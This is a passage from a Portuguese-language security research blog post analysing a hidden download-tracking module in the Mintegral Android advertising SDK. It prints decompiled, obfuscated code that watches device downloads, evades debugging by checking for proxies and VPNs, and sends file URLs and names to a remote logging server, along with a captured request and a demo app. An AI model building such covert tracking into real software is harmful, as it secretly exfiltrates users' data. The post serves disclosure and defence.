p =  clever=kbs0hoR1R0RsRgD0G0R0Woz2YoR1kBzEJdxMhAuhW2MXH7KUhBPgYFKgY7V%2FDFKw%2BoKAhdzQDkxAL75QJdfhWF59h7KBJaKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrR0M0LdxThdi1%2BoKhWFxXDBTMfo20DB2AL75QJdi%2FHFKXHFeQJ%2BfQhrfXYgxQYgN%2FDFKw%2BoKQ4dSXhgxhWFM2YavAG%2BiFYr32J%2B5whkzALUQXincsYkxU%2BoKuGatrLbf%2FYAcsYbfefAiAJ7wuHkwtf7JqL2MXinDMiUVPia3eiavMicMXinv9in32fAvPiaRPiajFiURPfavA%2BoIq%2BoIeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZnKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrRQTsRrwbRUE0hF5Uhr5TWgS3H0RsRrHsRUE0inRTf0zK%2BN%3D%3D
app_id=118690
sign=9329a7706dd43d6ed64d022ad0e7b13b
platform=1
os_version=5.1.1
package_name=com.mintegral.sdk.demo
app_version_name=1.0
app_version_code=1
orientation=1
model=Android+SDK+built+for+x86
brand=Android
gaid=a717e74d-64fa-464e-a28a-cbb8dc67ef6b
mnc=260
mcc=310
network_type=13
language=en
timezone=GMT%2B02%3A00
useragent=Mozilla%2F5.0+%28Linux%3B+Android+5.1.1%3B+Android+SDK+built+for+x86+Build%2FLMY48X%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Version%2F4.0+Chrome%2F39.0.0.0+Mobile+Safari%2F537.36
sdk_version=MAL_10.5.0
gp_version=1.8
screen_size=1080x2160
has_wx=false
cache1=747
cache2=722
power_rate=100
charging=1
http_req=2
dvi=4BztYrxBYFQ3%2BFQ3RUE0fnVFDn5tDU3Mfkz0H7H3iBRsRrfuHoR1RUv0Woz3Y%2BN0G0Refnl9R0M0H72rRUEbfUvsRrfTRUE0kbl9fQT06N%3D%3D
unknown_source=1
sys_id=a54a2ddc-1a89-5ac3-aa69-d6b7906afa29
is_clever=2

Há dois parâmetros codificados adicionais, clever e dvi. Depois de decodificá-los também, notamos algo interessante:

{
    "fl": "1246",
    "kw": "secret.pdf",
    "p": "",
    "ul": [
        "https://docs.google.com/spreadsheets/export?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf",
        "https://doc-04-bc-sheets.googleusercontent.com/export/l5l039s6ni5uumqbsj9o11lmdc/i88fksno1losq733tkieka4gjk/1602590910000/108195709029016229403/*/10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf"
    ],
    "v": ""
}

{
    "android_id": "556a5ab905bbdfd3",
    "cid": "0",
    "ct": "[x86]",
    "dmf": 760,
    "dmt": "1588"
}

Como podemos ver, a URL da planilha do Google que baixamos pelo aplicativo Google Drive é enviada ao backend no campo ul, e o nome do arquivo baixado, no campo kw, enquanto dvi contém dados sobre o dispositivo.

Possíveis usos

No cenário do iOS, cliques duplicados fraudulentos eram enviados do dispositivo do cliente aos servidores da Mintegral e, depois, ao provedor de atribuição (MMP). Neste caso, os APKs baixados ou instalados são enviados aos servidores e podem ser usados para gerar cliques no servidor. O diagrama a seguir mostra o fluxo de dados:

Diagrama que mostra um SDK malicioso da Mintegral em um app afetado, recebendo da Mintegral o nome do pacote APK e enviando dados falsos de cliques a um provedor de atribuição.

Módulo Alphab

O comportamento mencionado acima está no módulo alphab, descrito pela Mintegral como um “pacote de otimização”:

Guia de integração do Mintegral SDK no Android, com a opção Inicialização do SDK selecionada e uma tabela de pacotes para download com descrições.

Após nossa publicação, o módulo foi removido do site da Mintegral e parece não fazer mais parte do SDK distribuído. Descompilamos o SDK e localizamos o código responsável por esse comportamento.

Classe AlphaCommonConst

public final class AlphaCommonConst {

    /* renamed from: a */
    public static String f0a = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKAJ7eXHM==");

    /* renamed from: b */
    public static String f1b = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKsYFh=");

    /* renamed from: c */
    public static String f2c = "decode error";

    /* renamed from: d */
    public static boolean is_net_debug = false;

    /* renamed from: com.alphab.a$a */
    /* compiled from: AlphaCommonConst */
    public static class C0000a {

        /* renamed from: a */
        public static String ACTION_NET_DEBUG = AlphabBase64Util.m1b("aEqMQ3ckisLAfcxK7En575xOayJIYsT=");

        /* renamed from: b */
        public static String f5b = AlphabBase64Util.m1b("aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=");
    }

Essa classe contém muitas definições de constantes codificadas diretamente no código. Algumas strings são ofuscadas com um esquema próprio de codificação baseado em Base64, localizado na classe AlphabBase64Util, semelhante ao que observamos na distribuição para iOS.

Após a decodificação, obtemos as seguintes strings:

aEqMQ3ckisLAfcxK7En575xOayJIYsT=                   = alphab_net_debug_action
aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=   = android.intent.action.PACKAGE_ADDED
7sHPNsx6f3H6fcnArsxzf0H2                           = getContentResolver
aELKr0xI7UL67iN6HinI                               = android.net.Uri
aELKr0xI7ULKaiJOa0cg7jLoYsLP7ELP9sng7ins7iC=       = android.database.ContentObserver
aELKr0xI7ULGYsLP7ELPFKb4YeJAYeJj7ib4Yp7ArR==       = android.content.ContentResolver
r0HeQibP7inoYsLP7ELP9sng7ins7iC=                   = registerContentObserver
aELKr0xI7ULGYsLP7ELPFKn2YscKascgfcnAasHIf0H2       = android.content.BroadcastReceiver
aELKr0xI7ULGYsLP7ELPFKA6f3H6fX7IYpJArR==           = android.content.IntentFilter
aEJKNEbPQEx6                                       = addAction
r0HeQibP7inj7EbAQi7ArR==                           = registerReceiver

Elas são usadas nas etapas de inicialização que veremos a seguir.

Receiver Alphab

No método init() da classe AlphabReceiver, o BroadcastReceiver é inicializado com algumas das strings anteriormente ofuscadas:

 try {
      AlphabReceiver alphabReceiver = new AlphabReceiver();
      Class cls = Class.forName(AlphaCommonConst.C0001b.f11f);
      Class cls2 = Class.forName(AlphaCommonConst.C0001b.f12g);
      Object newInstance = cls2.newInstance();
      Method method = IntentFilter.class.getMethod(AlphaCommonConst.C0001b.f13h, String.class);
      method.invoke(newInstance, AlphaCommonConst.C0000a.ACTION_NET_DEBUG);
      method.invoke(newInstance, AlphaCommonConst.C0000a.f5b);
      Context.class.getMethod(AlphaCommonConst.C0001b.f14i, cls, cls2).invoke(context, alphabReceiver, newInstance);
      } catch (Throwable th) {
            th.printStackTrace();
      }

substituindo-as pelas strings decodificadas, o código fica assim:

AlphabReceiver alphab_receiver = new AlphabReceiver();
Class alphab_receiver_cls = Class.forName("android.content.BroadcastReceiver");
Class intent_filter_cls = Class.forName("android.content.IntentFilter");
Object intent_inst = intent_filter_cls.newInstance();
Method method = IntentFilter.class.getMethod("addAction", String.class);
method.invoke(intent_inst, "alphab_net_debug_action");
method.invoke(intent_inst, "android.intent.action.PACKAGE_ADDED");
Context.class.getMethod("registerReceiver", alphab_receiver_cls, intent_filter_cls)
		.invoke(context, alphab_receiver, intent_inst);

Podemos ver que, usando a API de reflexão do Java, um novo receiver de broadcast é criado para escutar dois tipos de intents:

  • android.intent.action.PACKAGE_ADDED - uma intent do sistema que é acionada quando um pacote é instalado no dispositivo.

  • alphab_net_debug_action - uma intent personalizada que parece detectar depuração de rede.

Ao receber a intent, a classe AlphabReceiver cria um método ParseAndLoad():

public final class ParseAndLoad {

    /* renamed from: a */
    private Intent f89a;

    public ParseAndLoad(Intent intent) {
        this.f89a = intent;
        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
            AlphaCommonConst.is_net_debug = true;
        }
    }
}

Esse campo é usado mais adiante em uma condição:

public final class ParseAndLoad {

    /* renamed from: a */
    private Intent f89a;

    public ParseAndLoad(Intent intent) {
        this.f89a = intent;
        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
            AlphaCommonConst.is_net_debug = true;
        }
    }
}

Ao descompilar os outros dois métodos dessa cláusula if, descobrimos que eles verificam se a conexão de rede atual passa por um proxy Wi-Fi ou por um cliente VPN. Isso serve para impedir a depuração do aplicativo e a captura do tráfego. Essa intent permite que os desenvolvedores do SDK contornem essa funcionalidade antidepuração.

Observer Alphab

De maneira semelhante, o bloco de inicialização deste ContentObserver também fica oculto por meio de reflexão e strings ofuscadas:

C0014a aVar = new C0014a(this.f70i);
Object invoke = Context.class.getMethod(AlphaCommonConst.C0001b.f6a, new Class[0]).invoke(context, new Object[0]);
Class cls3 = Class.forName(AlphaCommonConst.C0001b.f7b);
                        Class cls4 = Class.forName(AlphaCommonConst.C0001b.f8c);                  Class.forName(AlphaCommonConst.C0001b.f9d).getMethod(AlphaCommonConst.C0001b.f10e, cls3, Boolean.TYPE, cls4).invoke(invoke, Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKrM==")), true, aVar);

Após organizar o código, temos o seguinte:

AlpahbObserver observer = new AlpahbObserver(handler);
Object contentResolverObject = Context.class.getMethod(AlphaCommonConst.REFLECT.GETCONTENTRESOLVER).invoke(context);
Class uriClass = Class.forName(AlphaCommonConst.REFLECT.URI_CLASS);
Class contentObserver = Class.forName(AlphaCommonConst.REFLECT.CONTENTOBSERVER_CLASS);
Class contentResolver = Class.forName(AlphaCommonConst.REFLECT.CONTENTRESOLVER_CLASS).getMethod(AlphaCommonConst.REFLECT.REGISTERCONTENTOBSERVER, uriClass, boolean.class, contentObserver)
	.invoke(contentResolverObject, Uri.parse(AlphabBase64Util.newBase64Decode(uriDownload)), true, observer);

Isso significa que o observer de conteúdo é registrado para escutar o URI content://downloads e é acionado sempre que um arquivo é baixado para o dispositivo.

Ele consulta o gerenciador de downloads do Android em busca de downloads públicos:

cursor = aVar.f64b.getContentResolver().query(Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKr2xMfEnzQEbm73xyY0q4aEJgFM==") + str), null, null, null, null);

e, ao decodificar a string, obtemos o seguinte:

cursor = aVar.f64b.getContentResolver()
		.query(Uri.parse("content://downloads/public_downloads" + str), null, null, null, null);

Se a URL do download atender a qualquer uma das condições a seguir, será enviado um relatório para https://n.systemlog.met/stlog:

  1. Termina em apk - para downloads manuais.

  2. Aponta para um pacote pertencente a com.android.vending ou contém google.com - permite identificar qualquer aplicativo do Google ou até mesmo URLs de navegadores que atendam à condição.

Abaixo está o trecho de código que envia a solicitação ao servidor https://n.systemlog.met/stlog.

else if (message.what == AlphabReqImpl.this.f23d && (eVar = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                eVar.b(0, AlphaCommonConst.f0a, AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);
            }

que equivale a:

else if (message.what == AlphabReqImpl.this.f23d && (req = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                req.send(0, "http://n.systemlog.me/stlog", AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);

E aqui podemos ver os parâmetros observados na solicitação capturada no nosso exemplo:

    static /* synthetic */ void m26a(ReqPKGAndReportManager dVar, String str, String str2, List list, String str3, String str4) {
        try {
            if (TextUtils.isEmpty(str2)) {
                str2 = "";
            }
            if (TextUtils.isEmpty(str)) {
                str = "";
            }
            JSONArray jSONArray = new JSONArray();
            JSONObject jSONObject = new JSONObject();
            if (jSONObject != null) {
                try {
                    jSONObject.put("p", str);
                    jSONObject.put("v", str2);
                    JSONArray jSONArray2 = new JSONArray();
                    if (list != null && list.size() >= 0) {
                        for (int i = 0; i < list.size(); i++) {
                            jSONArray2.put(list.get(i));
                        }
                    }
                    jSONObject.put("ul", jSONArray2);
                    jSONObject.put("kw", str3);
                    jSONObject.put("fl", str4);
                } catch (Throwable th) {
                    if (MIntegralConstans.DEBUG) {
                        th.printStackTrace();
                    }
                }
            }
            jSONArray.put(jSONObject);
            String b = com.mintegral.msdk.base.utils.a.b(jSONArray.toString());
            dVar.f40i = new c();
            if (!(dVar.f40i == null || dVar.f20a == null)) {
                dVar.f40i.a("clever", b);
            }
            dVar.mo10a(dVar.f40i);
  • p - nome do pacote baixado, ou seja, o aplicativo

  • v - versão do aplicativo

  • ul - URL do arquivo baixado

  • kw - nome do arquivo baixado

  • fl - tamanho do arquivo

Aplicativo de demonstração

Tela de um app Android intitulada “My Application”, com botões para permissões de gravação, configurações de depuração, download de um logotipo do Google e download de um APK.

Para demonstrar esse comportamento, criamos um aplicativo de demonstração que nos permitiu:

1. Ativar a opção de depuração de rede por meio de reflexão para contornar a lógica antidepuração

buttonIsNetDebug.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       try {
           Class AlphaCommonConst = Class.forName("com.alphab.a");
           AlphaCommonConst.getDeclaredField("d").set(null, true);
       } catch (Exception e) {
           e.printStackTrace();
       }
   }
});

2. Baixar um arquivo de uma URL que contém google.com

buttonDownloadGoogleLogo.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://images.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "googlelogo_color_272x92dp.png");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

3. Baixar um arquivo de uma URL que termina em apk

buttonDownloadApk.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://storage.evozi.com/apk/dl/16/09/04/com.shazam.android_1004300.apk?f=google.com");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "com.shazam.android_1004300.apk");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

Capturamos as solicitações de saída usando um proxy HTTP. Depois de clicar em um dos botões de download, vemos uma solicitação sendo enviada ao endpoint do servidor:

Burp Suite Community Edition exibindo uma solicitação POST interceptada para n.systemlog.me, com cabeçalhos da solicitação e dados de formulário codificados

Confira este vídeo que demonstra o comportamento de rastreamento:

Malicious Mintegral SDK Leaks Data on Android

Linha do tempo

Data

5 de agosto

A equipe de pesquisa da Snyk identifica que o SDK da Mintegral para iOS coleta dados em excesso e sequestra cliques

17 de agosto

A Snyk comunica as descobertas à Apple de forma responsável

24 de agosto

A Snyk publica as descobertas sobre o Sour Mint para iOS

25 de agosto

A Mintegral publica um comunicado negando as alegações sobre o SDK

3 de setembro

A IronSource anuncia a remoção da Mintegral de sua plataforma de mediação

3 de setembro

A Mintegral lança a versão 6.5.0.0 do SDK para iOS, removendo o componente malicioso e oculto _CXX_CXX_OperationPKTask

4 de setembro

A plataforma de mediação MoPub (Twitter) anuncia a descertificação da Mintegral

4 de setembro

A Mintegral anuncia planos para tornar o SDK open source

4 de setembro

A equipe de pesquisa da Snyk identifica uma funcionalidade oculta de rastreamento de downloads na versão do SDK para Android

9 de setembro

A Snyk comunica as descobertas sobre o SDK para Android ao Google de forma responsável

10 de setembro

A Mintegral lança a versão 6.6.0.0 do SDK para iOS, removendo o componente backdoor MTGRemoteCommandParser

22 de setembro

A Snyk obtém o código-fonte da versão 6.6.0.0 do SDK para iOS e realiza uma análise de diferenças

23 de setembro

A Snyk identifica que a Mintegral removeu do SDK para Android o módulo de rastreamento de downloads do Google

30 de setembro

Por meio de uma análise de diferenças, a Snyk identifica um backdoor na versão do SDK para iOS que permite RCE

2 de outubro

A Snyk comunica as novas descobertas sobre iOS à Apple de forma responsável

3 de outubro

A Apple notifica os publishers afetados e solicita que removam o código que permite RCE

15 de outubro

A Snyk publica as descobertas mais recentes sobre iOS e Android

Leia mais

Blog

Modelos de ponta encontraram as vulnerabilidades. Só o atacante encontrou as cadeias.

A análise estática encontrou as falhas, mas só os testes de ataque em aplicações ativas provaram como elas poderiam ser encadeadas para causar invasões. Uma comparação entre Evo COS, Claude Security e Claude Code Security.

feature insights context
Blog

Os ataques autônomos já chegaram. A defesa precisa acompanhar o ritmo.

Os atacantes autônomos estão reduzindo o tempo disponível para a defesa. Saiba como a descoberta, a correção, a validação e a prevenção contínuas ajudam as equipes de segurança a acompanhar esse ritmo.

Blog

Seu backlog de vulnerabilidades não é mais uma dívida técnica — é uma superfície de ataque

Um backlog crescente de vulnerabilidades é mais do que uma dívida técnica: ele é uma superfície de ataque. Entenda por que suposições de risco desatualizadas, atacantes automatizados e descobertas encadeadas exigem uma nova abordagem.